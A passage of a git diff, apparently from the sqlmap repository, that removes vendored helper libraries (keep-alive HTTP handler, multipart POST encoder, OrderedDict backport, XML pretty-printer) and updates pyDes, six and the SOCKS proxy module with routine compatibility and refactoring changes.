1)]""" - return [(host, len(li)) for (host, li) in self._cm.get_all().items()] - - def close_connection(self, host): - """close connection(s) to - host is the host:port spec, as in 'www.cnn.com:8080' as passed in. - no error occurs if there is no connection to that host.""" - for h in self._cm.get_all(host): - self._cm.remove(h) - h.close() - - def close_all(self): - """close all open connections""" - for host, conns in self._cm.get_all().items(): - for h in conns: - self._cm.remove(h) - h.close() - - def _request_closed(self, request, host, connection): - """tells us that this request is now closed and the the - connection is ready for another request""" - self._cm.set_ready(connection, 1) - - def _remove_connection(self, host, connection, close=0): - if close: connection.close() - self._cm.remove(connection) - - #### Transaction Execution - def do_open(self, req): - host = req.host - if not host: - raise _urllib.error.URLError('no host given') - - try: - h = self._cm.get_ready_conn(host) - while h: - r = self._reuse_connection(h, req, host) - - # if this response is non-None, then it worked and we're - # done. Break out, skipping the else block. - if r: break - - # connection is bad - possibly closed by server - # discard it and ask for the next free connection - h.close() - self._cm.remove(h) - h = self._cm.get_ready_conn(host) - else: - # no (working) free connections were found. Create a new one. - h = self._get_connection(host) - if DEBUG: DEBUG.info("creating new connection to %s (%d)", - host, id(h)) - self._cm.add(host, h, 0) - self._start_transaction(h, req) - r = h.getresponse() - except (socket.error, _http_client.HTTPException) as err: - raise _urllib.error.URLError(err) - - if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) - - # if not a persistent connection, don't try to reuse it - if r.will_close: - if DEBUG: DEBUG.info('server will close connection, discarding') - self._cm.remove(h) - - r._handler = self - r._host = host - r._url = req.get_full_url() - r._connection = h - r.code = r.status - r.headers = r.msg - r.msg = r.reason - - if r.status == 200 or not HANDLE_ERRORS: - return r - else: - return self.parent.error('http', req, r, - r.status, r.msg, r.headers) - - def _reuse_connection(self, h, req, host): - """start the transaction with a re-used connection - return a response object (r) upon success or None on failure. - This DOES not close or remove bad connections in cases where - it returns. However, if an unexpected exception occurs, it - will close and remove the connection before re-raising. - """ - try: - self._start_transaction(h, req) - r = h.getresponse() - # note: just because we got something back doesn't mean it - # worked. We'll check the version below, too. - except (socket.error, _http_client.HTTPException): - r = None - except: - # adding this block just in case we've missed - # something we will still raise the exception, but - # lets try and close the connection and remove it - # first. We previously got into a nasty loop - # where an exception was uncaught, and so the - # connection stayed open. On the next try, the - # same exception was raised, etc. The tradeoff is - # that it's now possible this call will raise - # a DIFFERENT exception - if DEBUG: DEBUG.error("unexpected exception - closing " + \ - "connection to %s (%d)", host, id(h)) - self._cm.remove(h) - h.close() - raise - - if r is None or r.version == 9: - # httplib falls back to assuming HTTP 0.9 if it gets a - # bad header back. This is most likely to happen if - # the socket has been closed by the server since we - # last used the connection. - if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)", - host, id(h)) - r = None - else: - if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h)) - - return r - - def _start_transaction(self, h, req): - try: - if req.data: - data = req.data - if hasattr(req, 'selector'): - h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - else: - h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - if 'Content-type' not in req.headers: - h.putheader('Content-type', - 'application/x-www-form-urlencoded') - if 'Content-length' not in req.headers: - h.putheader('Content-length', '%d' % len(data)) - else: - if hasattr(req, 'selector'): - h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - else: - h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - except (socket.error, _http_client.HTTPException) as err: - raise _urllib.error.URLError(err) - - if 'Connection' not in req.headers: - req.headers['Connection'] = 'keep-alive' - - for args in self.parent.addheaders: - if args[0] not in req.headers: - h.putheader(*args) - for k, v in req.headers.items(): - h.putheader(k, v) - h.endheaders() - if req.data: - h.send(data) - - def _get_connection(self, host): - return NotImplementedError - -class HTTPHandler(KeepAliveHandler, _urllib.request.HTTPHandler): - def __init__(self): - KeepAliveHandler.__init__(self) - - def http_open(self, req): - return self.do_open(req) - - def _get_connection(self, host): - return HTTPConnection(host) - -class HTTPSHandler(KeepAliveHandler, _urllib.request.HTTPSHandler): - def __init__(self, ssl_factory=None): - KeepAliveHandler.__init__(self) - if not ssl_factory: - try: - import sslfactory - ssl_factory = sslfactory.get_factory() - except ImportError: - pass - self._ssl_factory = ssl_factory - - def https_open(self, req): - return self.do_open(req) - - def _get_connection(self, host): - try: return self._ssl_factory.get_https_connection(host) - except AttributeError: return HTTPSConnection(host) - -class HTTPResponse(_http_client.HTTPResponse): - # we need to subclass HTTPResponse in order to - # 1) add readline() and readlines() methods - # 2) add close_connection() methods - # 3) add info() and geturl() methods - - # in order to add readline(), read must be modified to deal with a - # buffer. example: readline must read a buffer and then spit back - # one line at a time. The only real alternative is to read one - # BYTE at a time (ick). Once something has been read, it can't be - # put back (ok, maybe it can, but that's even uglier than this), - # so if you THEN do a normal read, you must first take stuff from - # the buffer. - - # the read method wraps the original to accomodate buffering, - # although read() never adds to the buffer. - # Both readline and readlines have been stolen with almost no - # modification from socket.py - - - def __init__(self, sock, debuglevel=0, strict=0, method=None): - if method: # the httplib in python 2.3 uses the method arg - _http_client.HTTPResponse.__init__(self, sock, debuglevel, method) - else: # 2.2 doesn't - _http_client.HTTPResponse.__init__(self, sock, debuglevel) - self.fileno = sock.fileno - self.code = None - self._method = method - self._rbuf = b"" - self._rbufsize = 8096 - self._handler = None # inserted by the handler later - self._host = None # (same) - self._url = None # (same) - self._connection = None # (same) - - _raw_read = _http_client.HTTPResponse.read - - def close(self): - if self.fp: - self.fp.close() - self.fp = None - if self._handler: - self._handler._request_closed(self, self._host, - self._connection) - - # Note: Patch for Python3 (otherwise, connections won't be reusable) - def _close_conn(self): - self.close() - - def close_connection(self): - self._handler._remove_connection(self._host, self._connection, close=1) - self.close() - - def info(self): - return self.headers - - def geturl(self): - return self._url - - def read(self, amt=None): - # the _rbuf test is only in this first if for speed. It's not - # logically necessary - if self._rbuf and not amt is None: - L = len(self._rbuf) - if amt > L: - amt -= L - else: - s = self._rbuf[:amt] - self._rbuf = self._rbuf[amt:] - return s - - s = self._rbuf + self._raw_read(amt) - self._rbuf = b"" - return s - - def readline(self, limit=-1): - data = b"" - i = self._rbuf.find('\n') - while i < 0 and not (0 < limit <= len(self._rbuf)): - new = self._raw_read(self._rbufsize) - if not new: break - i = new.find('\n') - if i >= 0: i = i + len(self._rbuf) - self._rbuf = self._rbuf + new - if i < 0: i = len(self._rbuf) - else: i = i+1 - if 0 <= limit < len(self._rbuf): i = limit - data, self._rbuf = self._rbuf[:i], self._rbuf[i:] - return data - - def readlines(self, sizehint = 0): - total = 0 - list = [] - while 1: - line = self.readline() - if not line: break - list.append(line) - total += len(line) - if sizehint and total >= sizehint: - break - return list - - -class HTTPConnection(_http_client.HTTPConnection): - # use the modified response class - response_class = HTTPResponse - -class HTTPSConnection(_http_client.HTTPSConnection): - response_class = HTTPResponse - -######################################################################### -##### TEST FUNCTIONS -######################################################################### - -def error_handler(url): - global HANDLE_ERRORS - orig = HANDLE_ERRORS - keepalive_handler = HTTPHandler() - opener = _urllib.request.build_opener(keepalive_handler) - _urllib.request.install_opener(opener) - pos = {0: 'off', 1: 'on'} - for i in (0, 1): - print(" fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)) - HANDLE_ERRORS = i - try: - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - try: status, reason = fo.status, fo.reason - except AttributeError: status, reason = None, None - except IOError as e: - print(" EXCEPTION: %s" % e) - raise - else: - print(" status = %s, reason = %s" % (status, reason)) - HANDLE_ERRORS = orig - hosts = keepalive_handler.open_connections() - print("open connections:", hosts) - keepalive_handler.close_all() - -def continuity(url): - from hashlib import md5 - format = '%25s: %s' - - # first fetch the file with the normal http handler - opener = _urllib.request.build_opener() - _urllib.request.install_opener(opener) - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - m = md5(foo) - print(format % ('normal urllib', m.hexdigest())) - - # now install the keepalive handler and try again - opener = _urllib.request.build_opener(HTTPHandler()) - _urllib.request.install_opener(opener) - - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - m = md5(foo) - print(format % ('keepalive read', m.hexdigest())) - - fo = _urllib.request.urlopen(url) - foo = '' - while 1: - f = fo.readline() - if f: foo = foo + f - else: break - fo.close() - m = md5(foo) - print(format % ('keepalive readline', m.hexdigest())) - -def comp(N, url): - print(' making %i connections to:\n %s' % (N, url)) - - sys.stdout.write(' first using the normal urllib handlers') - # first use normal opener - opener = _urllib.request.build_opener() - _urllib.request.install_opener(opener) - t1 = fetch(N, url) - print(' TIME: %.3f s' % t1) - - sys.stdout.write(' now using the keepalive handler ') - # now install the keepalive handler and try again - opener = _urllib.request.build_opener(HTTPHandler()) - _urllib.request.install_opener(opener) - t2 = fetch(N, url) - print(' TIME: %.3f s' % t2) - print(' improvement factor: %.2f' % (t1/t2, )) - -def fetch(N, url, delay=0): - import time - lens = [] - starttime = time.time() - for i in _range(N): - if delay and i > 0: time.sleep(delay) - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - lens.append(len(foo)) - diff = time.time() - starttime - - j = 0 - for i in lens[1:]: - j = j + 1 - if not i == lens[0]: - print("WARNING: inconsistent length on read %i: %i" % (j, i)) - - return diff - -def test_timeout(url): - global DEBUG - dbbackup = DEBUG - class FakeLogger: - def debug(self, msg, *args): print(msg % args) - info = warning = error = debug - DEBUG = FakeLogger() - print(" fetching the file to establish a connection") - fo = _urllib.request.urlopen(url) - data1 = fo.read() - fo.close() - - i = 20 - print(" waiting %i seconds for the server to close the connection" % i) - while i > 0: - sys.stdout.write('\r %2i' % i) - sys.stdout.flush() - time.sleep(1) - i -= 1 - sys.stderr.write('\r') - - print(" fetching the file a second time") - fo = _urllib.request.urlopen(url) - data2 = fo.read() - fo.close() - - if data1 == data2: - print(' data are identical') - else: - print(' ERROR: DATA DIFFER') - - DEBUG = dbbackup - - -def test(url, N=10): - print("checking error hander (do this on a non-200)") - try: error_handler(url) - except IOError as e: - print("exiting - exception will prevent further tests") - sys.exit() - print() - print("performing continuity test (making sure stuff isn't corrupted)") - continuity(url) - print() - print("performing speed comparison") - comp(N, url) - print() - print("performing dropped-connection check") - test_timeout(url) - -if __name__ == '__main__': - import time - import sys - try: - N = int(sys.argv[1]) - url = sys.argv[2] - except: - print("%s " % sys.argv[0]) - else: - test(url, N) diff --git a/thirdparty/multipart/__init__.py b/thirdparty/multipart/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py deleted file mode 100644 index 5ea37ccf7ca..00000000000 --- a/thirdparty/multipart/multipartpost.py +++ /dev/null @@ -1,114 +0,0 @@ -#!/usr/bin/env python - -""" -02/2006 Will Holcomb - -Reference: http://odin.himinbi.org/MultipartPostHandler.py - -This library is free software; you can redistribute it and/or -modify it under the terms of the GNU Lesser General Public -License as published by the Free Software Foundation; either -version 2.1 of the License, or (at your option) any later version. - -This library is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -Lesser General Public License for more details. - -You should have received a copy of the GNU Lesser General Public -License along with this library; if not, write to the Free Software -Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import io -import mimetypes -import os -import re -import stat -import sys - -from lib.core.compat import choose_boundary -from lib.core.convert import getBytes -from lib.core.exception import SqlmapDataException -from thirdparty.six.moves import urllib as _urllib - -# Controls how sequences are uncoded. If true, elements may be given -# multiple values by assigning a sequence. -doseq = 1 - - -class MultipartPostHandler(_urllib.request.BaseHandler): - handler_order = _urllib.request.HTTPHandler.handler_order - 10 # needs to run first - - def http_request(self, request): - data = request.data - - if isinstance(data, dict): - v_files = [] - v_vars = [] - - try: - for(key, value) in data.items(): - if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase): - v_files.append((key, value)) - else: - v_vars.append((key, value)) - except TypeError: - systype, value, traceback = sys.exc_info() - raise SqlmapDataException("not a valid non-string sequence or mapping object '%s'" % traceback) - - if len(v_files) == 0: - data = _urllib.parse.urlencode(v_vars, doseq) - else: - boundary, data = self.multipart_encode(v_vars, v_files) - contenttype = "multipart/form-data; boundary=%s" % boundary - #if (request.has_header("Content-Type") and request.get_header("Content-Type").find("multipart/form-data") != 0): - # print "Replacing %s with %s" % (request.get_header("content-type"), "multipart/form-data") - request.add_unredirected_header("Content-Type", contenttype) - - request.data = data - - # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235 - if request.data: - for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): - part = match.group(0) - if b'\r' not in part: - request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) - - return request - - def multipart_encode(self, vars, files, boundary=None, buf=None): - if boundary is None: - boundary = choose_boundary() - - if buf is None: - buf = b"" - - for (key, value) in vars: - if key is not None and value is not None: - buf += b"--%s\r\n" % getBytes(boundary) - buf += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key) - buf += b"\r\n\r\n" + getBytes(value) + b"\r\n" - - for (key, fd) in files: - file_size = fd.len if hasattr(fd, "len") else os.fstat(fd.fileno())[stat.ST_SIZE] - filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1] - try: - contenttype = mimetypes.guess_type(filename)[0] or b"application/octet-stream" - except: - # Reference: http://bugs.python.org/issue9291 - contenttype = b"application/octet-stream" - buf += b"--%s\r\n" % getBytes(boundary) - buf += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename)) - buf += b"Content-Type: %s\r\n" % getBytes(contenttype) - # buf += b"Content-Length: %s\r\n" % file_size - fd.seek(0) - - buf += b"\r\n%s\r\n" % fd.read() - - buf += b"--%s--\r\n\r\n" % getBytes(boundary) - buf = getBytes(buf) - - return boundary, buf - - https_request = http_request diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py deleted file mode 100644 index 8571776ae42..00000000000 --- a/thirdparty/odict/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -import sys - -if sys.version_info[:2] >= (2, 7): - from collections import OrderedDict -else: - from ordereddict import OrderedDict diff --git a/thirdparty/odict/ordereddict.py b/thirdparty/odict/ordereddict.py deleted file mode 100644 index 1cdd6f46edc..00000000000 --- a/thirdparty/odict/ordereddict.py +++ /dev/null @@ -1,133 +0,0 @@ -# Copyright (c) 2009 Raymond Hettinger -# -# Permission is hereby granted, free of charge, to any person -# obtaining a copy of this software and associated documentation files -# (the "Software"), to deal in the Software without restriction, -# including without limitation the rights to use, copy, modify, merge, -# publish, distribute, sublicense, and/or sell copies of the Software, -# and to permit persons to whom the Software is furnished to do so, -# subject to the following conditions: -# -# The above copyright notice and this permission notice shall be -# included in all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -# OTHER DEALINGS IN THE SOFTWARE. - -try: - from UserDict import DictMixin -except ImportError: - try: - from collections.abc import MutableMapping as DictMixin - except ImportError: - from collections import MutableMapping as DictMixin - -class OrderedDict(dict, DictMixin): - - def __init__(self, *args, **kwds): - if len(args) > 1: - raise TypeError('expected at most 1 arguments, got %d' % len(args)) - try: - self.__end - except AttributeError: - self.clear() - self.update(*args, **kwds) - - def clear(self): - self.__end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.__map = {} # key --> [key, prev, next] - dict.clear(self) - - def __setitem__(self, key, value): - if key not in self: - end = self.__end - curr = end[1] - curr[2] = end[1] = self.__map[key] = [key, curr, end] - dict.__setitem__(self, key, value) - - def __delitem__(self, key): - dict.__delitem__(self, key) - key, prev, next = self.__map.pop(key) - prev[2] = next - next[1] = prev - - def __iter__(self): - end = self.__end - curr = end[2] - while curr is not end: - yield curr[0] - curr = curr[2] - - def __reversed__(self): - end = self.__end - curr = end[1] - while curr is not end: - yield curr[0] - curr = curr[1] - - def popitem(self, last=True): - if not self: - raise KeyError('dictionary is empty') - if last: - key = next(reversed(self)) - else: - key = next(iter(self)) - value = self.pop(key) - return key, value - - def __reduce__(self): - items = [[k, self[k]] for k in self] - tmp = self.__map, self.__end - del self.__map, self.__end - inst_dict = vars(self).copy() - self.__map, self.__end = tmp - if inst_dict: - return (self.__class__, (items,), inst_dict) - return self.__class__, (items,) - - def keys(self): - return list(self) - - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self.items())) - - def copy(self): - return self.__class__(self) - - @classmethod - def fromkeys(cls, iterable, value=None): - d = cls() - for key in iterable: - d[key] = value - return d - - def __eq__(self, other): - if isinstance(other, OrderedDict): - if len(self) != len(other): - return False - for p, q in zip(self.items(), other.items()): - if p != q: - return False - return True - return dict.__eq__(self, other) - - def __ne__(self, other): - return not self == other diff --git a/thirdparty/prettyprint/__init__.py b/thirdparty/prettyprint/__init__.py deleted file mode 100644 index 1f9e1434354..00000000000 --- a/thirdparty/prettyprint/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -pass diff --git a/thirdparty/prettyprint/prettyprint.py b/thirdparty/prettyprint/prettyprint.py deleted file mode 100644 index 586d808114a..00000000000 --- a/thirdparty/prettyprint/prettyprint.py +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -from xml.dom import minidom -from xml.dom import Node - -def format(text): - doc = minidom.parseString(text) - root = doc.childNodes[0] - return root.toprettyxml(indent=' ') - -def formatXML(doc, encoding=None): - root = doc.childNodes[0] - return root.toprettyxml(indent=' ', encoding=encoding) - -def _patch_minidom(): - minidom.Text.writexml = _writexml_text - minidom.Element.writexml = _writexml_element - minidom.Node.toprettyxml = _toprettyxml_node - -def _collapse(node): - for child in node.childNodes: - if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0: - child.data = '' - else: - _collapse(child) - -def _writexml_text(self, writer, indent="", addindent="", newl=""): - minidom._write_data(writer, "%s"%(self.data.strip())) - -def _writexml_element(self, writer, indent="", addindent="", newl=""): - # indent = current indentation - # addindent = indentation to add to higher levels - # newl = newline string - writer.write(indent+"<" + self.tagName) - - attrs = self._get_attributes() - a_names = attrs.keys() - a_names.sort() - - for a_name in a_names: - writer.write(" %s=\"" % a_name) - minidom._write_data(writer, attrs[a_name].value) - writer.write("\"") - if self.childNodes: - if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write(">") - else: - writer.write(">%s"%(newl)) - for node in self.childNodes: - node.writexml(writer,indent+addindent,addindent,newl) - if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write("%s" % (self.tagName,newl)) - else: - writer.write("%s%s" % (indent,self.tagName,newl)) - else: - writer.write("/>%s"%(newl)) - -def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None): - _collapse(self) - # indent = the indentation string to prepend, per level - # newl = the newline string to append - writer = minidom._get_StringIO() - if encoding is not None: - import codecs - # Can't use codecs.getwriter to preserve 2.0 compatibility - writer = codecs.lookup(encoding)[3](writer) - if self.nodeType == Node.DOCUMENT_NODE: - # Can pass encoding only to document, to put it into XML header - self.writexml(writer, "", indent, newl, encoding) - else: - self.writexml(writer, "", indent, newl) - return writer.getvalue() - -_patch_minidom() diff --git a/thirdparty/pydes/pyDes.py b/thirdparty/pydes/pyDes.py index 05cb1adc87e..5322bf10cf9 100644 --- a/thirdparty/pydes/pyDes.py +++ b/thirdparty/pydes/pyDes.py @@ -453,7 +453,7 @@ def __BitList_to_String(self, data): def __permutate(self, table, block): """Permutate this block with the specified table""" - return list(map(lambda x: block[x], table)) + return [block[i] for i in table] # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] @@ -506,7 +506,7 @@ def __des_crypt(self, block, crypt_type): self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here - self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) + self.R = [b ^ k for b, k in zip(self.R, self.Kn[iteration])] B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above #j = 0 @@ -542,7 +542,7 @@ def __des_crypt(self, block, crypt_type): self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] - self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) + self.R = [b ^ l for b, l in zip(self.R, self.L)] # Optimization: This now replaces the below commented code #j = 0 #while j < len(self.R): @@ -603,7 +603,7 @@ def crypt(self, data, crypt_type): # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: - block = list(map(lambda x, y: x ^ y, block, iv)) + block = [b ^ v for b, v in zip(block, iv)] #j = 0 #while j < len(block): # block[j] = block[j] ^ iv[j] @@ -612,7 +612,7 @@ def crypt(self, data, crypt_type): processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: - processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) + processed_block = [b ^ v for b, v in zip(processed_block, iv)] #j = 0 #while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py index d4fe9849f25..3de5969b1ad 100644 --- a/thirdparty/six/__init__.py +++ b/thirdparty/six/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2020 Benjamin Peterson +# Copyright (c) 2010-2024 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -29,7 +29,7 @@ import types __author__ = "Benjamin Peterson " -__version__ = "1.16.0" +__version__ = "1.17.0" # Useful for very coarse version differentiation. @@ -435,12 +435,17 @@ class Module_six_moves_urllib_request(_LazyModule): MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), MovedAttribute("urlretrieve", "urllib", "urllib.request"), MovedAttribute("urlcleanup", "urllib", "urllib.request"), - MovedAttribute("URLopener", "urllib", "urllib.request"), - MovedAttribute("FancyURLopener", "urllib", "urllib.request"), MovedAttribute("proxy_bypass", "urllib", "urllib.request"), MovedAttribute("parse_http_list", "urllib2", "urllib.request"), MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), ] +if sys.version_info[:2] < (3, 14): + _urllib_request_moved_attributes.extend( + [ + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + ] + ) for attr in _urllib_request_moved_attributes: setattr(Module_six_moves_urllib_request, attr.name, attr) del attr diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index 2ee96695c05..f1da7d975c3 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -1,413 +1,897 @@ -#!/usr/bin/env python +from base64 import b64encode +try: + from collections.abc import Callable +except ImportError: + from collections import Callable +from errno import EOPNOTSUPP, EINVAL, EAGAIN +import functools +from io import BytesIO +import logging +import os +from os import SEEK_CUR +import socket +import struct +import sys -"""SocksiPy - Python SOCKS module. -Version 1.00 +__version__ = "1.7.1" -Copyright 2006 Dan-Haim. All rights reserved. -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of Dan Haim nor the names of his contributors may be used - to endorse or promote products derived from this software without specific - prior written permission. +if os.name == "nt" and sys.version_info < (3, 0): + try: + from thirdparty.wininetpton import win_inet_pton + except ImportError: + try: + import win_inet_pton + except ImportError: + raise ImportError( + "To run PySocks on Windows you must install win_inet_pton") -THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA -OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT -OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. +log = logging.getLogger(__name__) +PROXY_TYPE_SOCKS4 = SOCKS4 = 1 +PROXY_TYPE_SOCKS5 = SOCKS5 = 2 +PROXY_TYPE_HTTP = HTTP = 3 -This module provides a standard socket-like interface for Python -for tunneling connections through SOCKS proxies. +PROXY_TYPES = {"SOCKS4": SOCKS4, "SOCKS5": SOCKS5, "HTTP": HTTP} +PRINTABLE_PROXY_TYPES = dict(zip(PROXY_TYPES.values(), PROXY_TYPES.keys())) -""" +_orgsocket = _orig_socket = socket.socket +_orgcreateconnection = socket.create_connection -""" -Minor modifications made by Miroslav Stampar (https://sqlmap.org/) -for patching DNS-leakage occuring in socket.create_connection() -Minor modifications made by Christopher Gilbert (http://motomastyle.com/) -for use in PyLoris (http://pyloris.sourceforge.net/) +def set_self_blocking(function): -Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) -mainly to merge bug fixes found in Sourceforge + @functools.wraps(function) + def wrapper(*args, **kwargs): + self = args[0] + try: + _is_blocking = self.gettimeout() + if _is_blocking == 0: + self.setblocking(True) + return function(*args, **kwargs) + except Exception as e: + raise + finally: + 